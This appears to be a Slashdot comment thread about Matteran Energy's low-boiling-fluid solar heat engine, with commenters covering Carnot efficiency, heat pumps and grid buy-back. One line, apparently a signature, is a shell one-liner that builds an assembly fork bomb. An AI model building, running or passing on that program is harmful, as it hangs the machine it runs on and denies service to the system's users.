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Solar Power Minus the Light
An anonymous reader writes "Popular Science is running a story about a small company trying to take advantage of all the global warming hype. Matteran Energy uses 'thermal-collection technology to heat a synthetic fluid with a very low boiling point (around 58F), creating enough steam to drive a specially designed turbine. And although a fluid-circuit system converting heat into electricity is nothing new, Matterans innovative solution increases the systems efficiency to a point where small-scale applications make economic sense.' Notably, this comes during a record breaking heat wave here in the US. So has the day finally arrived where I can run my AC off of all that heat outdoors?"
58f = 14.4C or 287.6K
Now lets be generous and let our panel "superheat" the stuff up to 80C or so, and put the cold reservoir in a bucket of ice.
That gives us a heat source at 353.15K and a sink at 273.15.
Efficiency = 1.0 - cold/hot = 1.0 - (273.15/353.15) = 0.226, or about 23% efficient.
Not great.
Notably, this comes during a record breaking heat wave here in the US. So has the day finally arrived where I can run my AC off of all that heat outdoors
I guess you're making a perpetual motion joke, but the strange thing is it's not a daft as it sounds.
You could have an electrically powered heat pump to pump heat into the ground in summer, and back out again in winter.
http://www.igshpa.okstate.edu/geothermal/geotherm
Very popular here in Sweden.
If you insulate your house enough, the energy required to heat or cool it is pretty minimal, so you could generate it from solar panels, at least in the summer. And heat pumps are 3 to 4 times more than resistive electric heaters.
As wikipedia puts it
http://en.wikipedia.org/wiki/Heat_pump
When used for heating on a mild day, a typical heat pump has a COP of three to four, whereas a typical resistive electric heater has a COP of one. That is, one joule of electrical energy will cause a conventional heater to give off one joule of warmth, while under ideal conditions, one joule of electrical energy can cause a heat pump to move more than one joule of heat from a cooler place to a warmer place. Sometimes this is expressed as an efficiency value greater than 100%, as in the statement, "XYZ brand heat pumps operate at up to 400% efficiency!" This is not quite accurate, since the work does not make heat, but moves existing heat "upstream". This does not violate the second law of thermodynamics, because it takes less work to move the heat than to make the heat.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Energy is being extracted from the fluid circuit system and being converted into electricity. Steam re-condenses into fluid because it has lost it's energy to the turbine.
No perpetual motion or violation of the laws of thermodynamics involved, just energy transfer.
Then again, I could be wrong.
On the average, the underground temprature at ten feet below ground level is something like 52 degrees. (I am looking into geothermal [q.v. ground-sourced] heat pumps.) If the fluid boils at 58 degrees and you put a reasonably large ground loop you would have your temprature differential.
Toss a solar collection array on the hot side, and if the latent heat of vaporation of the mistery fluid isn't too high you should be able to get a pretty flow.
You might need to pull-start it (8-) to get the initial pressure differential, but once the system was running the cost of using some of the energy to replenish the boiler from the condensate coils should be low enough.
It mostly comes down to a matter of surface area.
In a steam/turban plant the energy to move the turban doesn't _really_ come from boiling the water, it comes from super-heating the steam. You have to move the steam through the turban energetically enough to move the machinery (which cools the steam as the pressure is relieved (etc). So it isn't so much the boiling temprature, its how much energy the media can carry _after_ boiling. A lot of volatiles do an incredibly poor job as a (relatively, in this case) super-heated fluid because of crosiveness or viscosity.
ASIDE: If I were trying to build a solar-powered air conditioner I'd use basically the same material and design as a propane-fired refridgerator and a Clever Arrangement(tm) of concentrating mirrors. The whole system is low pressure and has no moving parts. The mirros would have to track, but those moving parts wouldn't ever have interract with the volatiles.
Innocent people shouldn't be forced to pay for inferior software development.
--"Code Complete" Microsoft Press
Wow, that would be expensive. Here (germany) you get 2kW (10x200W) for 9000 EUR
Next time please don't pull prices out of your ass.
Move Sig. For great justice.
it very clearly states in the animation at the company's website that ambient air temp is sufficient to cool it back down. You seem to be forgetting that those big black panels on rooftops that heat water using the sun's solar energy heat the water up to a much higher temperature than the ambient air is. What exactly would be the point of a solar water heater if it only gave you water that was the temperature of the ambient air? Anyway, so, you use that heat source to boil the liquid in the closed circuit. Don't forget, it ain't water. It's some liquid that boils at a pretty low temp. And then you use the ambient air for the heat exchanger to cool the 'steam' in the closed circuit back down, condense, and start all over again. So, from what I gather the only requirement for this to work is that the boiling point of the liquid in the closed circuit needs to be higher than the ambient air temp, and lower than the temp you can achieve from a device similar to / same as those rooftop solar water heaters. Then you should have no problem boiling or condensing that liquid, since you have the capability of getting the substance up to the boiling temp, and back down below that temp so it condenses again.
Link to animation Page 7 explains how it works. The liquid is heated by an external source, such as solar water heaters on a rooftop, to a temperature much higher than ambient air temp. This heat is transferred to the liquid, which boils and gets pressurized, and goes through the turbine. After which it is condensed in the condensor, which is cooled via ambient-temperature water. Then the second heat exchanger comes into play. This second one is isolated by valves at both ends. Before the condensed liquid is released into the second heat exchanger, the empty HE is cooled by the same ambient-temperature water as the condensor was. Once the HE is roughly the same temp as the condensed liquid, the top valve opens and the condensed liquid enters the HE, and then the valve closes. Now it is isolated by both valves inside the HE. And the HE is then heated by the same solar heater, bringing the liquid up to the same temp and pressure as it is in the boiler. Then the bottom valve is opened, and the liquid moves into the boiler. The valve is then closed. Then the HE is cooled again, so it can receive more condensed liquid. And on and on. The animation, and their more clear explanation, shows the entire operation rather well. Click it, I say! Click it!
You're talking about getting off the grid entirely, it seems. Where I live, the power company is required by law to purchase any excess electricity you put back on the grid. So, no need to store your home generated electricity with batteries.
Depending on how expensive electricity gets in the near future, solar panels to supplement what one takes off the grid might make the whole thing economically viable. Combine this with tax credits and suddenly it doesn't seem so expensive.
Not all places are equally windy. Where I live, we get a good deal more sunshine than we do wind. Wind power wouldn't work for me.
It's not offtopic, dumbass. It's orthogonal.